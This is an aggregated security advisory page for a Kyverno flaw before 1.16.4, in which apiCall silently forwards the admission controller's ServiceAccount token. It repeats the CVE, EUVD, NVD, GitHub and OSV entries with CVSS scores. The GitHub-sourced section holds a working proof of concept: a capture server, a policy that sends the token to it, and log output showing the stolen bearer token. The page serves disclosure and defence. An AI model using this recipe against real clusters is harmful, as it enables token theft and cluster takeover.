Kyverno before 1.16.4 Credential Leak via apiCall

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Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to outbound HTTP requests in apiCall service mode without explicit authorization headers. Attackers can exfiltrate the token by directing apiCall requests to external or attacker-controlled endpoints, gaining full control over Kyverno policies and cluster resources.

Source published

1 Sep 2026 11:33:58 UTC

Source modified

1 Sep 2026 12:11:37 UTC

Saved here

23 Oct 2026 15:48:27 UTC

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CVE Program Terms of Use

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CVSS 4.0 · 8.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

CVSS 3.1 · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to outbound HTTP requests in apiCall service mode without explicit authorization headers. Attackers can exfiltrate the token by directing apiCall requests to external or attacker-controlled endpoints, gaining full control over Kyverno policies and cluster resources.

Source published

Sep 1, 2026, 11:33:58 AM (timezone not stated)

Source modified

Sep 1, 2026, 12:11:37 PM (timezone not stated)

Saved here

11 Nov 2026 17:00:42 UTC

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ENISA EUVD · source terms and attribution apply

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EUVD CVSS 4.0 · 8.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to outbound HTTP requests in apiCall service mode without explicit authorization headers. Attackers can exfiltrate the token by directing apiCall requests to external or attacker-controlled endpoints, gaining full control over Kyverno policies and cluster resources.

Source published

1 Sep 2026 12:17:49 UTC

Source modified

10 Sep 2026 15:43:03 UTC

Saved here

25 Oct 2026 16:19:10 UTC

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NIST NVD usage terms; underlying source attribution retained

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CVSS 4.0 · [email protected] · Secondary · 8.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

### Summary Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints. The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in. --- ### Details Kyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from: `/var/run/secrets/kubernetes.io/serviceaccount/token` and injects it into every HTTP request as: ``` Authorization: Bearer <token> ``` This occurs when no explicit `Authorization` header is defined in the policy. #### Root cause ```go if req.Header.Get("Authorization") == "" { token := a.getToken() if token != "" { req.Header.Add("Authorization", "Bearer "+token) } } ``` This logic introduces several issues: - **Implicit credential forwarding** to arbitrary endpoints - **No trust boundary validation** (external/internal distinction) - **Undocumented behavior** - **Header.Add instead of Set** allows duplication - **No token sanitization** (potential trailing newline) --- ### PoC #### Preconditions - Kyverno installed (v1.17.1 tested) - A policy using `apiCall.service.url` --- #### Step 1 — Deploy capture server ```bash kubectl run capture --image=python:3-slim --restart=Never -- \ python3 -c " import http.server class H(http.server.BaseHTTPRequestHandler): def do_GET(self): print(self.headers.get('Authorization'), flush=True) self.send_response(200) self.end_headers() http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()" kubectl expose pod capture --port=8888 ``` --- #### Step 2 — Create policy ```yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: token-leak spec: rules: - name: test match: any: - resources: kinds: ["Pod"] context: - name: r apiCall: method: GET service: url: "http://capture.default.svc:8888" jmesPath: "@" ``` --- #### Step 3 — Trigger ```bash kubectl run test --image=nginx ``` --- #### Step 4 — Observe token ```bash kubectl logs capture ``` Output: ``` Authorization: Bearer <SA_TOKEN> ``` --- ### Impact #### Vulnerability class - Credential exposure / leakage #### Impact details - Exposure of Kubernetes ServiceAccount token - Token grants: - Full control over Kyverno policies - Ability to create/delete webhooks - Read cluster-wide resources - Privilege escalation and persistence

Source published

16 Apr 2026 21:37:29 UTC

Source modified

25 Sep 2026 14:25:37 UTC

Saved here

24 Oct 2026 13:19:41 UTC

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GitHub Advisory Database · CC-BY-4.0

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Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Publisher rating · HIGH

Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak) in github.com/kyverno/kyverno

Source published

25 Jun 2026 18:43:15 UTC

Source modified

25 Sep 2026 14:25:37 UTC

Saved here

24 Oct 2026 13:19:41 UTC

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OSV · upstream source license applies

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Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.